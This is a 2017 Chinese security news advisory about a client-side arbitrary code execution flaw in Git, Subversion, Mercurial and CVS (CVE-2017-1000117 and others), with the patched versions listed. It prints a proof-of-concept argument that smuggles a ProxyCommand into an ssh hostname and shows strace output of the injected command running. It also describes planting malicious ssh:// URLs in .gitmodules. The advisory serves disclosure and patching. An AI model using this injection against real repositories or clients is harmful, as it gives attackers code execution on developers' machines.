【漏洞预警】​多款主流版本控制系统被曝存在客户端任意代码执行漏洞

阅读量202056

|

发布时间 : 2017-08-11 16:48:21

x
译文声明

本文是翻译文章,文章来源:安全客

原文地址:https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html

译文仅供参考,具体内容表达以及含义原文为准。

http://p1.qhimg.com/t019225f9c3b431cf21.jpg

前言

世界各地的程序员请注意,现在必须立即更新你的版本控制系统,Git、SVN、Mercurial开源版本控制系统近日修复严重安全漏洞,未及时升级,则会受到该漏洞的影响。


多款主流版本控制系统存在客户端任意代码执行漏洞

三款主流的源版本控制系统Git、Subversion (svn)、CVS、Mercurial,今日发布了更新补丁,修复了一个客户端代码执行漏洞。

该漏洞由GitLab的Brian Neel,Recurity Labs的Joan Schneeweiss和GitHub的Jeff King发现和报告的。

应用于Linux kernel、GitHub和Gitlab背后的开源版本控制系统Git。今天发布了多个更新版本,Git v2.14.1、2.7.6、v2.8.6、v2.9.5、v2.10.4、v2.11.3、v2.12.4和v2.13.5,用于修复该漏洞。

“此次更新修复了编号为CVE-2017-1000117的漏洞,与Subversion和Mercurial的维护者发布的相似,都存在这个类似的问题。”Git维护者Junio Hamano在邮件列表中写道。

通过-o选项的SSH命令注入,同样影响CVS 1.12.x !

可以配置CVS通过SSH访问远程仓库,比如设置CVS_RSH=ssh,这样的话,只要指定以-o开头的hostname就可以触发

  $ strace -f -e execve cvs -d '-oProxyCommand=id;localhost:/bar' co yada 2>&1 | egrep id
  execve("/usr/bin/cvs", ["cvs", "-d", "-oProxyCommand=id;localhost:/bar", "co", "yada"], 0x7ffe69f75a68 /* 139 vars 
*/) = 0
  [snip]
  [pid 20003] execve("/usr/local/bin/ssh", ["ssh", "-oProxyCommand=id;localhost", "cvs server"], 0x5fb1fc8420 /* 141 
vars */) = -1 ENOENT (No such file or directory)
  [pid 20003] execve("/usr/bin/ssh", ["ssh", "-oProxyCommand=id;localhost", "cvs server"], 0x5fb1fc8420 /* 141 vars */) 
= 0
  [pid 20004] execve("/bin/bash", ["/bin/bash", "-c", "exec id;localhost"], 0x32af5f10d0 /* 141 vars */) = 0
  [pid 20004] execve("/usr/bin/id", ["id"], 0xec92226ae0 /* 141 vars */) = 0
  [pid 20004] +++ exited with 0 +++
  [pid 20003] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20004, si_uid=3612, si_status=0, si_utime=0, 
si_stime=0} ---
  ssh_exchange_identification: Connection closed by remote host
  [pid 20003] +++ exited with 255 +++
  --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20003, si_uid=3612, si_status=255, si_utime=0, si_stime=0} 
---


漏洞利用

该漏洞需要结合一些社会工程学技巧才能更好的利用。

Git在其公告中警告:“恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码”。

攻击者通过精心构造一个"ssh://…"URL链接发送给受害者,如果受害者访问了这个URL,则会导致恶意指令在客户端执行。

恶意URL可以放在项目的".gitmodules"文件中,受害者执行“git clone –recurse-submodules”则会触发该漏洞。

Apache Subversion(SVN)1.9.7修补了CVE-2017-9800问题,它与Git中修补的内容是类似的。

“在svn:externals和svn:sync-from-url中通过构造恶意svn+ssh URL则会导致客户端任意代码执行”在此次SVN更新中修复了该安全问题。

开源的Mercurial版本控制系统在4.3和4.2.3修复了该漏洞,漏洞编号为CVE-2017-1000115。


漏洞利用演示截图

http://p5.qhimg.com/t0105073f37d9b7abfc.png

from 360cert

参考链接

http://blog.recurity-labs.com/2017-08-10/scm-vulns 

https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html

http://seclists.org/oss-sec/2017/q3/280

本文翻译自安全客 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
安全客
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66